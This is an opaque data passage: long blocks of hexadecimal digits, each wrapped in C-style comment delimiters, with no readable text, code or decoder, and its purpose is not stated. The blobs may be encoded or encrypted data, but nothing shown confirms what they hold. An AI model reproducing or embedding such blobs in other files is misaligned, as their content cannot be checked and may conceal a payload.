dfad5ebd8e2d6bba01ddc67c6ee78caf5e09a649295dbdf35a80b39009eff4ccc6f77b9ade2c6319f7570688bde80ed525a7a94433ae5e18e194a89aca9a1925563f0387d7fb5eab7694cb9012f07a578509a01aac24feaa6978e0fdb38fc8b250994ad27f5e9bab456ca52e7b07edfe6e084fde4ac6f33b345a14*/
/*dd88d577b04123379869f4c57d8849d74ab7b05fcd806b318a39f97b9aef9b377a74f71e2ecd6315236f2409ae0da3bd040fa3a8e8793f175af5073012a4bd691a953f8d29ef38d6b7b83eff30a09578ef7d5d1a0cb90d296f58a1420a78ecc57a5fc94e684e057d02bcfd10304827cae7540ff6d183e1cadb401ed39f8653ce15ab6992a01f1fe10136a41f373177df49a0f14570d3deac58eba42742c903d9f0888289a5e7edfc39ec40f4dd43fd23443ff41924749337f12d203b6911712b39ae7617b164644d7def2a9e04d180d3261fec4431c23a68126dd0ce115be6171da6f8be5afb7a0ffcdada9212c9309c978b11a9df4770eac8e650694dce64dea72c3eb1e3369ca5e55731c0ccbc219f77ced1b5dad5e898d0f1dd41d156e65db1646d97ba1bc2494880a08768d2da4dd2c6459e77a92b684bdee682e4e422190273d118ed7d9ddc4e6d8917b2c154ed655f2dbeb91f2286042669ac7ef808ebfe09854ac13ada00119225373ca18ef78b55d482ee9d8df2f772cc77dcc7e4a9c3d2c72e7e24adf8fa7b765a9a272f690c9b14fb54a68668389799eefead130f054b1b0afa9a0addef2808e337a00f301b17d1386da8921a0e5d1013d9d7884a161e82cac2f37cc04cde61683ca593358489c9a48aae9ae456005c0cfed2da1eddfdd998fe16b45d88ab4ca0274d396fa70c34c253093a8721373b59baf13c50bc678bc4526cbdcdece79bb88a4814dc1b5cc87988e651358553dfbc6280b757a3122840e4f75736bf11fecbfa8cf5217df1ef9982a1978fd902619c17a7335bdbcb93f4c57f122c92a94ffcb2b7a9eba229b74a4697f0442a2795b000bb289e060d890c240a545899c76f7d334a42957b177415f2ea0f3f461710663d28f6d900a0a7fedf846a4dd3b73bd36277294da7a94b3df8b3d0db2b07104d17aa63bcd5067c6450ac3e1d33816a1402158117cd5d4abfb28734d7e88966068b4706c6d19ccdf17d661a2f125a98a69fcb34216dee41aac90a470b49a1e1876a4f9cbbf53683bedd8905be536d5c4ee07d256d87928ec4ef0371d802df2d9079f3abe8ea1453cbacb4d738c64cafeab53e86c22cba2d872b2f708beb5b65ca94a929d6fda1d48a17aeaaa2b333775db017e86e92a4ee84da0c5899a3756fc6ae7ca03cc316cfe743cd23b9b22e961e600f6f479014ebaff3ded69485e99469a97975ceff385fbbc612474fe381401adad7f5f530f4f2509ab2795def2af5d183530c3699f6eff0fb73e70af38f122fd29336e0d412bb42fea8dac839b1180e091fd68d6703f326606852a96c804ca215a0d1c2e3340cfe304de9323947c752650e720da0d0c9230beb37e9b1dc9eaa7c9ce661c5f5113a6ce3d083d458c18655ede0654044533bc80570e877390dba849e9d7ad67dcce60b21be1bbedb40b38e661f72f201eb7c2de3fc7c56f40ae329c087fb879912b2c52f81fdd1906130e6a9fd46ca807edf06658e952204c6b09b011a9ef16bdb99a748716a1a6d8a332b15598174f5bae60fc11c9407f1210abfeb73bf9f19aebc763b54638f2a6bd51af4435abaed73cc01fd1364b5869b5051c3a4abac6a28fe9b09f10116d0dde1ff032f7cb474e5cc26cb29dbbc13755e29882c1f12c8a3feb31e3573f9eeb4747c164889a2e913a7549557c6abea8cbad2bb77a0d2f409ec68ca52f82015a54178b5ab4db0820e0d2953d0d5508e2ef983b135b2463023e7db0f8ec856339253c914e7cdc1b34b84c389a4be5023ee50420780e3450eb433f001c44d2cb39bfc3413bf08ad7d4d3ae059b6007cc2d601e4bed925e80561fc70ba1da2d222f3962f288822d97ebe062ffb207ea8f2005093b73520be78c3b3b02d0c3da84ce3347e8a84d6759056a9b2c448622d963d104a6dda8453f17335effa36f18c0712e3e32ca46ad7b023af057515ce31ac464032fd8209662ebce9f57c8910c52c3103de1cbc72d2a0a3c57cdf119034bd6630848f119126d464f2e04afd98faa6fedc167e347389e560edecfd81774ff0077ea6c8d2302bb04bb2392713c081c857f0c4e7443470af62cae06d4604d1bbc34767538c33288b995e33796f87f1ce1d7ca38abd0e488314660ec7fdfd912075a24d61c591a2db609ccf833197dfa2729edc927e343611e5c5bcbcb9bae23e13a0f353b70001fd025bd6d1679bd34ef6eb28c079df9ba1912746568eff71a3ab411bfe5c3591405ab9ea4709ee7c264b175cada3120fbfd669dad5c367ea7fe2a5ef0d1ddffa91062a5020b2188742b5bb310b2fd96f664baeeef20c2d89dc56690200801bce43d28055f2820e3c52c5745a315a3db26b9654786a1e616d78e39f8ef9c4a6261797082ca297a0039e08d44feac4390d31ccb8c0576e58d2afe452b77d1ceddbbf3ee6c0a7f54d97c78f42988a1e35cad14ed56eb1f4d1e9eb1e41b44dc515e4025a09af79b60adbc9a0f2f2593be0ff526b54c881b59200637ab7d90002f4dfd015591190f4cb7cd6f9ce8c4c8320dfd51e8a281be88f40f50d80a406005d4a00ae28b34361c4c3a48a51d239ab93208557016a28418031dde72c8c53c4a4fd3082e4ddb7c8bbd593cb16833e74d17cd8f01334273054760011cb79149472d6fd03212b9c70d18a33ac7e67982d0636cd1142621e1f5821e9bb7a64921555d389457dfd451a0fcb26c925fbe4cf4eec439a8c1e812433fbbea379ca233b01517e0e58f01a26d27976c4c250186cae67cbfc136c69f602dbbd5cc0e6bbbea5a9d90a54df4da6b1f3a38a504c93cccdc32ebf36e18b08b7b439200b5134a49b*/
/*1e72cefe2f8f16cd6d04d1b59d2c8ff73bed8ac146740538e32be6da73dd74d44435eb7eb0722cd9b26f890d337a2a85469fbdc6ad405900f902d31a7cc8a4fdb6b66c3058c1babccbac4803856011b2305acd3d1f75f133db97734ab85fe6ba4afb97782797d4f269c31b354d28b7375cc6545cf0bf51e3660bd4b8dde632d181f6073fbff08b13552cda94236070adc4a8a9f60c6b6af514a360e1f18ed3e2353cf9cb2498099851a24f6be5d85f48861374f1620d89d733cef4ee83477e93fffccd637b6c7cf77e9cb924d54aa67004cb60a85c4fac1221e15b9312ef8e25dfd621e666955070fb597a912cad3cb2eb0c0b96d1ed838ab10952fead22f8f291b625e4c06f588a21e109b8c7df1460f1d03feae7ed99adab3f4a7a60a75194ce9bc133e0ea7807a02414148be9227fcbb8865fd728bb41c6db7dabccd8f1230a15074e3bee54d0d6f886d7770360967ecafc6fa887428df487205f98f5862ccb7cddb8583f1c0f5df170c4f0a1e27d5bbfcc0f8cce96bf36edbdf7bf2c74703b016103e5f738677d4d060302b8ed04ef9b07846ce54d15c47746302c895b6ab6e09bb1234a7b319fa4ad1e4776a426b7d247a4d11938bff85f7e8e17c139210abaa94db023d7ac050db404ddc57846387f87196b43d53723cec4b8261ea366467e30ddc3c3830b2370132f1192d60e41363f4815119687447043500b02b26edd8ab3c66e57316f352934736f2a9220568bb062ace864b665a1ce9fb00c31f87b54c7fd3938a562df9651aeba041f151fd6d5dfb662a6d3c46d37ce2f1c912857cacd5ef403cc1ebb7e6eac9ac446237cc084555a1f1a50b94bdfb35370af58feadba2271942d99538a8b7d2fa16f33551a95b6f2bab55a1c5c874e2190ab43c4f3472653ed5c9d65d7c10aaad14a05c5dc7d572facda93c960bb020a2c99de60a812ec780631b5ca4702529b287a351b1d7ebc5f897a1073cb4348f8a567471b4e2031f8f56a9fc799d301db39cd33276e1ea9c9d6c7837f2de432499b9d3e065441e48ca250c9a50bc1e553883297dba44d4edc444608b80203997425df24ef40345f484af60bb4fd5a6993c7b292ec41d6ce341b33f98c434d32e6c36834ea31974f9e90b99afd91560817c47745358d5c5633b804d4b4e21c9cddd88420ca3fdc0b27ca9d8ded8f34bdce9ce291c389856b3ff3e7a33900f83f1ecbc0cdb4893df4f7c2ede5df8ba9de1e59133701113b1a44168ac4db8bc7268ec6deda185e27f1c26fd6064212f1789ec01b52af21b4142c166f42a6b09c655c9f27518e023915434f0d36144c9e4980d283b1891427e5635234571ad4ca448703afd3823734fe9ece3c82cec5a44ed6844d9a4962ccbd8084a27d4d308f94ddb85ad53b653cd05b416f43ad26da62b35cfa2d6b62e56fa674055fa4e88f8cf3ed600ab43361591ff9ef0a88e439417c8cad72be82106d5e5f9488b196da6fa194a76984b03208aabc9d53b70dfed2b0d2c6a69020b0826db73ce1adec6d4d3224caa1b1f63227038013620e29772ffbe0e407a4311540790669701cbbe5ed8f277463f9486af80272f4d1174c1992df1039397e5e3600b0966dbaf3cd2cb5271b5934cc7665c9c22813dec6e47ffff2c7cc9a9a33fe6e2b5924c0c77b08b79784d43c2a757c71a5449a3b0cf876be6d14e795e52217b76bc1fc85b45ff8e96d9e3958e74d118450b43489c2d8d8d3a2d03c5bd34436d9bf4c1a1008e088591b399b94d0160f9dc1829f5067d048a7f6dbd14c05ef97f2881cfb99e773aea2d4977d2718f014f1c0ae306efc28d97f6e92970909370299107b40853ba0bf52e1b2dd73fe5c0b0158959c71ade60a20b14e3cd3b5fa62f4b5d4b375ebe74c3f18989e6029f834faadb125052af8812df45b92f4cc01b4b1c7c9a78f1c58003dc4947a05995ca2dcb85f05b625dc802f7c1bf1ecd4b2eb0be2c7ae85dc4106349d496bfef8cf976fc8a2a0eb0e7474649e64767ef68213fff25d2146c29afce2f0e6d3cd06976e205ddb5a71f319251fc8375ee84bf7efeaf9f303c7afc598b465dd241e9527659ffb505498aa530893a8041a90d7acdc2629014098d59ce17e1ab50de8e53ea3bdd71b6ccd04c2d447919deb60aecc33e9466fc4e96fc09b4786b540acaa38bce6d82f38fc10596bed2a9f3ab3cf150d405395471de112c8821415e64748c1f54f3884916101ae3f3b88c8b2d3a45ea5e6543e4e11936b8bfd706110178bd6b29a59a5c56c68a9013f41d0ef13e9040bfe830cf8ba07351007697457158b86cea002362f114d56a6e5b94aea3e16c581d97bb842b7290f21614a57620d8bbc0c0ab17ef1970fc7f8d2e01ca1e9708dae347b9decb355800eb7293f7fe6002b531b9db1bd60c8d9b079c3855e32be520e178f7091afd808f395742f6710d7d8fc6a4a9a6a629e92302c7cbf310d03a95b371b2b3b8ed3e52f9f5696e6f1e5bb724c2cd761f4b8182798b7a973f8564b4784a8dfa07440ad033f2be4e29ce371e7387cb38b7cdc47dab603c6a65b44db1fbcd53646a94eee2843e33a12cb1e9e5ee64707fdb6fca0a039050f4f91e5da10e2ba8a5f78b728c63ef8462ddfd8a80d4a5049de6467005ada5df47ef4a2766e1f4a1470f80956bc7206aefb8cf9684ccb58099aa792cf0bfc37126044e53f9d07cd8d1d5a538864f3697ee301b78bbe056be9d2c2a735189812be50db3387c920d53b426d8311daabfb484b8d213152d24b9f7ed65b32334b83c369fd44ffe1a20dc64b050d4b179f05508466b2cf3f952dc169350579277b95179df0*/
/*4048a1094654480f0bb8288a2753014c4b5540e3c921abdab8e7b4c678654403588d8c0acc99a27ea0d97b5eaf31e3c9a2e4a73678e2729c737dc192722566a865fd0cf995d9b5ddbd220322c3ffb393a335b77ca9e67a2679029440432b2cfff70e7332203b5fbc302550f7546691a456b18d37598f38e6b39f6aef14e6d60fe0cbb3826f23e88c3da6954853de4fe2e413e6b39b4166cf137446f502f1b9954a48ee4eecd031e526c682e5342465207a2ca91bb3281343385a24c17e3069b8dcd427676115785b1283e2052744d878639fc669ebc9c985fc32fd1a086e89d61b2af477db7b203369915d09e0267d5bccc263c94381ae5e1ef9ebd29183de4c6d0db205fb0a7752a476178088448ea19121054a5b383cae7cd3f62b1f4946cf1df3881d4476639d9f2aeec925a188ea5166dc9e192d7afd9f22fba4e964c82fac2466f25e102618bdfd7dd31d6478900ca8699aca833ba6fb984f2906a961142e9c38c37b050c1f1d93a314a74bb44a4d205accc8e2de832d1e4eeda6d5364481e92367dd30cb0a5c532ac0e74227b2dabdd036a0f72c365e7ba321edcaaf915373f942440d2bf1970155277341f1ce37a5a7b4b509d210260e9228eb98a4f6c2f29f9ddaba78636858aee17d5b0d057032354ccd8cca0d87125631637c166fae94a7f501b5ec452ec2604cd22cad4b79b0f8432ee83723e81b076cf3f1517a395823924c665000f0095720c37dd373c1dc381ab1d19415ac34a91d8438ef9c2d8002a83c00670e3a5192ed7c6db4901059b2520fc719171ee52e2147a612fa60a74f5be29a71844d0ae60a4ea0c5f511a63d5a417ebcb9897fbeccd2b2fd224f503521d7f0557b4cf7523e5abaa816b3ad2307deef48185475fab7c9b089a37b3f48c71b1174226f15671f6a85b8c07e4866a8960606c11cbc30cd8f0b5c827d304522d0ed66bb86921ffa8c3d8c554f65d7a62b3a9e0b4fcc3485b4fd50fd0d53a0ba9c2fa3e81e4e53091065c0a6226b7e0bfeb4c403dd30054ae48470485bea3a99eccde6dc4c880a3b586d04fe4a874d5be2b261e07e5175aa397263bfc42647b03e57736b2cab99916f079f7dc0af82796e23d8c2e9c984a5338e5ff580103c6ff567afc0052ff8ef2525a82b96ef6539ff2cf46c1198ee9d730ced684e603ffd5d8a1c4b0408c043533b2dce3250af1655c2b5766cb8612ba85dbe633342e76465198b078e13ac3669b7550fbc1b52c30899bd23bedfab35bdc443997c3329e5e88b024e02ae66c38d0b0168251671c4ec5fbb79834953c15a9da105b0c8544c9c8c07ca43851dfcbd17517469b0c2bcc79990ba04154a645b995068e1203a8a7a13459e6f5899a1341c58062367c6761254d4eaf1901fca6fae80f279cb215b2571d1ee2edca93a975733e5eae8f77d394cdffea908e1219539e44f6d3ac2cb82f39899495b6197ed10fee18033c4db95ace3b93a1479b8520fa6054c4cd3d4edc14f081930291bd3e8a445aac3c9f3fdc5fdb73bbe6bd8772c5e6a6f1d1377a98c126c739ee39ad7c68dae90dc388379907f74615b62f87cb0867a0afcc18a24fe0257f21b779ac29b805ca2421c7984f626f225aacde289baeaeabd58debb8ee15ec24c91cfc046c4f38702ab94ab586c100ec07710cfeb406e7449be4ebf0b2e552c63d6e231f25a1124c188270e4c98b1ae93782c8121837cb94e0684fcfc4739aca6d01d8130faf4a726a6b4696803c4da97d5440c02a711410536d370d14c86a693a60c6a286ca0608512f9b19a0a84e19dcb1624fbb3e0d31f9d2298ad2b9da8e7536e9d8256e1c41d25b9259c83e1cb6fa9af179961f2ef34a14089a79a58c40b2e89b57895f66626f3a53782557d1e7bf2200dddb208ad5e11b6adbd0c7fac29c34da9ec0aadde70ac2b15e6bf1852066e23ad36ceec9adb8504392949cd45f41235650ec42f82dd1a080e069fab1eb4b35294a716a4e4db442643e4a28d5b5eb7df54c87a1ee6e0f4f41a81ce07fa5db26b7737b8f615b46df5f8f376d8bc330a49be884fdaca70f934bfef12c58cdbe0f74b19cab3f486a7cc4f2920a0f3e0c493a5086c10146852be4efbe750dd322be0cf5c6a9d49c016b98a470bd637cdfc350d497ac9be5218ff7c743acccfd239b1af6a249408f74eec32685cddeb08466d9bfe4ac44563653b3fe9816a8e5bc413b533767aac1da76c1799cb68d939d172bfe6fc6f79f899404bc285b33ebb346d9ef400e8197cdfeec2638bce55501a116740cd3c2c873f8afadf5b03b2f408c1747109963f3b7147d6184c20a924de54bd9cfb047a30aee08529667550b391fd8b035449dd7b3650ec88b6926350828cdbf4d26d75264b93ff1ccb26955ddbd79f746facdd0ee1d2c7029a8100967a5fe6863f2101953bafb6e8bd241ff9692309b1e8ca1554416f7151c3e48c80fd3eaa809e304b19ea298f23bd00bac0db22a8cb2b0dba829edc33081cd66d50601737f9c692e6bb2be74293db358a86a7417049db33dc1ded5401bf13d07366862aedec600a34413fd3c3b917d5df8884e77af795303316ea6c2c2945531053b4e2d0c21689fb51213fbbddf3af273f870c888f024fecd3f8eb3938fd26f87debc7fd5ad1bc89f12a5bbcf098a9780c60a9e175d7d9f96a50f1ec434fec95bebc250ea92f4d23f3848808cebe3f9f8c7395b6a0bd9e6d47aa9068c54a0c1ff49c388471869d89e4b889b589e5fb0d11895b531ea80078317f64e02824f734bb20030c723f8f7baef02360b45db808a16c7bded6aa773ff9d9aba67724f0c0a022038a2460c31d*/
/*23636e6caadb18675b3276ce15d80211aa257aae4787941edf9866d7e72880abcc11c5eb0bd1d75b773fd27a2e1075db2c58c95004830318028f4b0bafdc9f187deb0b1af8fb6b698f0f3e457228e75949464536b5ff9b9072265834cefc0fad87b9ddb05405a8249db63d0f0a8b9046b909be58398089a594c8617a70a2b24fda1f707faa364b2781f60534a30dcad45ed818411524f5d031da1049495af283f2e090a35613673c032a2e4a4e90085f1168f955b9411f9486dcbf0127c25496de97b2696039aeb98e41515bd7d32f054b8391a3a660908fd9a83914844b03658fbea85ce63dceb3fcc86a0bc2359b1dad6be93e3b9e2c37a99e77752d8b51325a1067a9d97002d325bc5d39b760937f19791cb6c2e4882aa1d466ee96e88ef44d9ada6ddc6dae1fb4446befdbf0feb253c06860c2f67a901880a138d4c2459b673dff2886fa2c4e72aa2236ef1ff9ed3d0be26ec92c9de6c96cd884889ae79b98c69d1f2e2c7371a0279e8b41d2774763d8f2547ad2e5ad90d8e8ed45ebf9b2e0e383bb00fbd259276aaa926185e63522a1ab009ff4103b58092e110077ccbde9e7f1ab08b2cfe50e13a15a9bb3b8215187afbbfe644aa9f0a29e91bc76048229f84c731522fc47717b3c0918a10537fe2d335128842d6ad2eac93d15e7d411df4dbebee889f8f1e201ae775ec283353e3e3595c1cc6701a08742218fca4174583c06935db5f23821d9e4296c676b09dea7082aaef8c51581b5c65922717cf92830a15d28c1e7a519d8984f3e42b17c4f5a81a54fda7ec70f327eb699ae57413d7b2eb9ef6e978b7e030f52df63a8528a60e43aee1834ecbfbd2ff470e7474fdb8b3ead5b2e9b67695c2b5f3f06d99fea45440d3c29bfe16931dfad145433856a4c66ccde65780febacf3bf2aaa30ff4d2a4e47ecd240b2f19eab51e310f6e4ecfc7aeafd300aa50e72cfd812ce1baec7c4a462d4d960c445412299d3ab63f80d3005a6ef538eaf9cbde80d111d4d5eef15135d37b38746db875e31af5f35e009f8f0d2d44b8de87579b5c189c0c0bb4de36a103ff63f9c8ffcb972720f003a843c2664190791d5bd7191a5d1688305142cd7a176541d82dd7661b7959092c80f5da6884940724cc81049cc5ca2b519f2a347ceb9d438cf22c22d56c363f7f13cba5cd68bff6c2083a33cae4fbeb7d2551e6e28596b831ff9b439d91635ce66ebb06f300618695e779e95292efbcb6379644df627d04b8d7a10cd46f348ec94ee70bfe247c160409fb809921eb297a3de5976970e61c7476127741b4aca49daec74c7d70508bbbffa34f149ef555a3dd38ac46f5057e4b4fbb17c6e62b56b877cff960e65db775e5bfae9c067f3593e8a4bf7d928dc11766160ed307309152ef35b0f81111ead200cb62b72455bdfb01214d9144bfd5ff0035efbd60f296314300801e232600f54b4a5253debad09d4143662b173da801616ea9b7fc0dd120f7a3856473b6d890db2fb49beb12e82091426df1fd962d958ccad92deb097bc29ff6b7941449c5f23c3d9115d29ddd34ea38d89d0e63fa175c1ff6fd474d7d0bcf3163673aeb158170c0dcb14142fc0d7aae38118a23a97b6395f3ff12d17ff1710da5ca38fcff325454385dafcbcb07d70f5014e24b6369c1f7c427048999421a55c8ba2c7cf4ade7b094db77316afe47f1f4677d7a3969cc077b6948bcd707d94545fd9d05832fd5b04399c61bee77cdbc6c3ece5e7a3a13016fd212fff150e85b8bb0158ab3060d51ee55ae43a745f697d39b1de2f97b003721ad2cc5f236d46502710d0ce22c00c7aea868c29c2fa59c585cec56165363f02624bc800eb950335a558ab7ec8160ac3472dae8f5218ecd464de46c31ee1b39b8234e348ac1d23af99734c24ee25a069cfbae70ce24a93e7f432568724a91006b2fb6ac8b5cfb0e52da77bde2a50737140bd1b6890764141e0f7a87109646233fd0b3935827c6bf896132559d27a58e1185332c80202ff8f8fd904337336ab6f87df3fa95e2876df176748ecb8400651fa169e791c1438d0b16beb815e612057a8b7c737fa944babd6fdf14cb9c4d2968344f32344de508fed288bbf6ebd79c1056eaf62845f453b205f832cd375b07ccbf95cce09e6f5f5c69012496c8509928036e4411286fdf9d2293fd2ed917196c57cdc3c4490668302ea26746d2fd04be2e60bf55e5110491cf096de9319e2bab6776e1e5d713e7c8e06418cbd2d35e8f868b348227a2609bab1e3b72f2147a6e313b18bbfc56f4b83f76f9d282d0abfa0abe4e3aacf31f8ae05e41b2bda1c4330a9372a715f802bb7c25a6575ff7f4aa3f4f0c8b96a2ca95246d0cc7da7b3fe0e8cc8765df763b8af8d1fb464130ae6ca04045da797cbdb07b841068af7c6276a8ff80cbb50546624d09a43df082ec37906674e4a83c9531340392834432932b2a64c66852696e3a41f092d8e5dea59ac8349d3927b0d5d62bb04bc77266764413404d27187271b9958c458a8a269528df55703c3e2a642a7765ed940d4fa6fe95e38baa0319c7e5d730e8de39d6327b825081829dd87703977bb6218d94b0776c7dd0bfa62db0816e413f1599f816700ac77c8b440fa597ede4a7f53a5cb02ac6362a6972ae294a45add208827122782d784bca9133dfe0806c288be87ece4b2c1d727ed50ce65680765ce1c30867515a9f848f82124f1cb3b8b6162c4a919054ef1b1ebd81aea3e4a8bdb820bf66f86563171d34b8639cc8d3fbb1dcf71f5746da989e2a38baced24d751ce3caacfc2554dcf14e77203c56dfb5c83ce33a5fbc9e40b9ecd*/
/*d2767eee97cad30b6ba43ed3ebb69747b80ad9601ddb4c6f389988257d056723373fcd0ba7fdb55feb6b1e4ab88de2465ad3a33d23902c34b2c2bc17c47fb8b43cd3fff797ede752159ef9fcef8b70a540a24148656a23ee59a6852a9903e5441678977ece63e2674d05e7358bfbbed76fdd818818d8f0ddfbe44ba62997c629b0a49412535d09ed0cf662b27a95d17025f8ef7b6d594bb9ac94f1b758403da211826bfe378fcaeaae9277ff33bd14425f832b65398fd5a06ddcd706dadc5b784b68121dffb0876c1eb2f260af2d55ebee45e7931e2d152de242f81bf66bf4c32c892840a434adfc0decd499d5b5c9aa4752e006057727270676538aafa191ae1ebb5bdcb4c37abd2ed658604e1fe7c9196ecc09944371a2551dd31d428f3258b5cdd87b3009eafe9ee246bbfe3ea731c919848b06560b66c4577958bc01354d6c6e1f28e1f96b513db5eb0ca1094b0a4e712dc9cccdae1e9bbe4e1bc18b37a75c1ac57c289d79f3b8ffbe30279c852f97d10c7339575000b31129f0ce28de76ddbffe51c4e7a98dffe82f942ed302fa5cc02953bf2e00cef7144f9eda17418f4d1244b74938b257e1cfd8b73d392c53927bbc59326b6744c790f08b8f4b149537f8c4a93baa81adac973233948fd3c409a01f92034998813ae14ff2fbd7b9319400643f94d9af13dcf8a1a5bd7bdb4edd711ebf43319bcbd657dd633f0b9ab9552763d304c72e917666cf4ba1b2cddda302cf24f4606e72fb38169c418d9a927ee78723d494e5b1a595287decc338b862cdce767c8d324de609b290e6b2a3afd28f9f393f5751d872c31b02a9008c5578b0ad380ed9db0dd89be7a9f3ab63991c35dba116c20f647d425c375611c308880e382ccf7a294b181a8f8408d9dce92a527e37c76ac404ced7f844bca4182309f323a8e93bf1afc9361c5124f3419ef549c015cd2a002d8d3541e756990cb560612870c6b6685c9f53981c2aa2a0780e819bdb42898044825ad8ed4fb38bda98fb6979a9580be89266b0951c4fd31f547a7e33b85ea186940c69d2d0f67473158e14e2e68d99fe99a37394f71d489f4724826b5df7636d490e5e45e3fc0ed0c4542af96ce13b9d18b5d9aaa1a8a0cb41842700c00499a8577d1f882e063b07353d68f05df8efc58fafdfdb4a3b5c7b78294c83c558dd482f577f4428aaa34e231c2d40af0b0c5cc66889c982354f3b6fb6c065d9154a4bc54b715f476c465572024403288b0e58a0a5c946cbcd28e9036e282e81f5df10e749d3c904648299db949adb692cb5c016f904c9d12f275e75edb27fc6dfad5e1a94b93d6392bdef58811dd06746b1a05c8c0ed4561719b8d110e3560326fe97ce83285a8d283b0b90f6529031ce5dfc5093128cc7f3ad2515df8eb324e9b97cf32a20bed0941c9aa1350e328f297de05b2eae65b1f0d311a9d3aa6b31c55bc6b1e65ef91da3b3dc2dcc063e8b777a7ae3da124f8d378fad798e6b7ede7cf3ca2447f25a806cba767b6a332fae032aa776ee8eb1531590a21bae11e089a06ade0a336678ed900d1d9b594ac2f8295829f2f3425da7df92bec706995bddd58abfafa92dccb15feef34cf96a62c4eb8441a389c36a95d261ba99486c12998859395e2848348b54ef7a0b6057c197f033f6a378ffb9b74e511f773b3bf52b21080f52b9f05a2f3ce52c02b56c4c633c38ef51ab06a1fcd0dc8a756000587227b761aa09813f7662f7dabf2ebba5801fdd5e52055eba01475a1f265e10df453422d8a8d9645f320ed28fc23c5dcf5ceff5375d0a4b6a85cf31ec30292e359a8f51c1a61fb6d80d028fddc1b5cbe4217b0120032f09e798f37a70bd2e70fabdb715fe41cf11b03ba104c3276864168c4759e4fd379f2b92bdc9fdca9534181e5635c97c641003c12a19e4a75f9792a28f6b6512d923e321feb8221db6fb84779c113f96dd294352eefbca17a54cd742248aa14e1d79d7ac74fbfe53e33b3d08e6d52e11cb4e3304bc06ef941a0a320887224397b7da944c4127895fa36183b825874ea5324e71ae5ab22434b057fff6d23c4462e17ee3071e4c33a9f1327a3f401ea5e41d7cb651aeb6973bf10202f281838d7d15ac091788f83f19e2b62b68efc5a365d28c68787726fa845acf8efd6d6bdff78b2d9afc7330db742687e2b81f3e052f22c15a2af0d670665f75920710810aee3e5508eac74fbc3f1c3316b73afe73ddb778f4e736b4fc2f1ab6f8525f724f045445c76f1292212e2d20b5e3f4a38132bcfeea32642a2c7b8de29fbdbf4cdbbed8a95d45d76cce56cc72ddf30881c5640e8bacd78432ab97df79b21719dcc8eac5824b6f0af13e7499495d9381e9f9254ddbb15b34a5d582631571b98c437036acdc52d1651b3ea3d95ed568501ab0a5f443030bf4bd0acb6fde3a48da5f8d07bea31d5332d4621ad5c296ded7228844861d888fdaec7bd82ffc222b7f11c3629d9ef3ad545c0dfeece7b25f129b1d52d002616685aa63dcca0abab6f3a5e31e0f4f22df171adcd4d90c2acd8823eaed432ed5756e8de5f7cde21c2c3b4b916eacd85586b9f2b6bf70019274796e399bc9c1169410f835ac7d6affeeaf45cd05b960d64cb9b3c07406bad8f0fc53651d193087b053e6688d5a41c1cafcd272c297f28a2c3568a44c6b27cdddb262b99cf361fa7d88fcebf12d29bca3afd49600dec8f772065f39debe4d0aee6ec6b64e07f3f376964a1adcdd06a4c8702fbb63fbb81e7632af140e100cad28c222b1c6f31bbd0092eef5c2831106fe4bc60a62d364dbb50af114a3ca9844cb476f0033dcf4f92f518952*/
/*e5cb500b0aba078b81d21a58fb3d70c7c55532f7d7039551ba5cea8b034e0bb2cf49058e1dfaa7b306007df27b569a3e8f80be75bf0b680eb545d467d24d5ad9d2996ef5afff207318c2bda5bf07997ea606d8fc05c80883d91c9ddaf76bb6362a892a60fdac3323ff33050026638c87e5a694b2a2bd2d9197a945e6ac529b84838e96a4f3a184de346456416548c051689977c38684aa8f462a98d57c09087ddb7e5ffebcc01c269ec04ec6ae1a5eaa703982a0d62b22bc52c3cc82084ab1c1cdac5221f383d52ad2c5134b37be1b5452b6989d4aa293e16755049b915024432664acd03f938f168be16587e0144abbc2779cf08337af70a3fe4530d149ac5b5dc86865c54fc0a409151f0916164623aa1a433bf7f9154ad7bd3a60815e4c0bacb49e150639a0541f13f6f1c84ad185a44d25eb3081ae8992976932b983526dfbc7808ded07a5f459de2245c0ef45c92c7965b8f6aa67cf20c67b0dc9c6938c2506d24db397b156b435d96c3c095c6f8098918be23c2ca66559e3c0ad4b7f8246d61a9c594b3344956dbee48a52fbe49d8ff2b2763c8078196a5e1a9a7d751261230a9a9030da1337cdebcc98335b1631c5ac388e4677609138a5689d802c485002b1ba43637ad948b818d28a8e616d0d06fdf0db7ec6b28e5c3528309a292ed52f796959605b501b5e2944659407f60ff6e636f3c7ff2ce7bd5a15fff9eeb70f2e03b752c2a4d865e87a1bf1244fcfcbc7c2c8ecd5d3b1f62131b3cb663d46db97f5c69d85002fd5b9e13df270a3a0596eb294a3e987abc874760566b38f2cba3e106efa1561d364710985e2b045ae482f8f300b1a94ae580d4ce8ea142ae6e6dcf5d147816679d211d9f5d20835818e0d7b865917b13f3bbb70091fc4eea46f7a34309c00f3c90d11ccc0b8bb31d7935247a9e3d1f7ba8ba65021d45d35bba827982226fb2beb7a1a3a32543c163e377c2415a129f28fc4bf4d348bed73c369ada071e0c1fe8819da5b7c1d8b1e54f402d7f5fcef706576cf93a8228604ba0c0837b880eba8b76d0b449d68353e9329855b73a42f902b4379b04976e52762437b1f2ee0481f7fbd6fce39fc4ed974572d82a11f5f73ffd1e620abfc18f594793cfb3d977a55c4ae0a1a979cf791c26c3d34fa288221480e2a1c5ac2225679c352029c066f76fc25e4f00339f1aa15442be98948e2de91e69663e15672fdaf95251bc93075727c93a9acb8c1400d6fc3aa614a6d12ca0e7623e70e2b58716852f76004a87640b7aaa378431a39308bbf24670a3e48dbd3b6a8245ea0c9ef0d4f9aedf234c68762cbf94c75581ca35cd3d39ee99aa6cb0e9fc91c2f2ab0142f1060bf00976b1d11409a4ae52c0f0af834b2269391c929a830c368594eea9769d1d32e8b8c7a7564777a2c4ee48f620cb0b2be7f89a31128f5e16dc7338971e2a850298fb8eabe56d135de381f8fe45e10c2a8e6d8181b2838238dd5e7384e57a9af62c982d6f12e5fb8c9c8ad1e8cf92ca3952b1304a05a6673e1483ea607c6905a42864d91e2d95b901ad9624531fb7a35ca6f97f5530cb927b5b3fd0ecdfd4be9660f93647ca7d4f19484c5b895ff1a8c4734deb6f20913e66b6ce3982eb5dcfe283a7ca60af6da3dc23511ccda36b2437e70165fd536b3cd0738074bfbf3d8e41f81f405d59f435097d5bf51640a81c47dabcf5e349c5f6659393e87050da8fddc7135188cc3b7e5d8f7e445b8a8a7ba392a53e5f3d37c374e3511ffc430303fd0e752211f6429b25989bafcc854c01684d066f9315bef35881c77a93dc8f6e3eff8ad45a885d0ad05311838d76ff1b5c1018e1864bd2528c25544e0744fdfe2376fde2f98091f84d59d680280c9c7e2a4a3af0e5ec4fb6c0247449d4882ed1732106049fc4e3f187a6445b8ff2a28703b00eb2a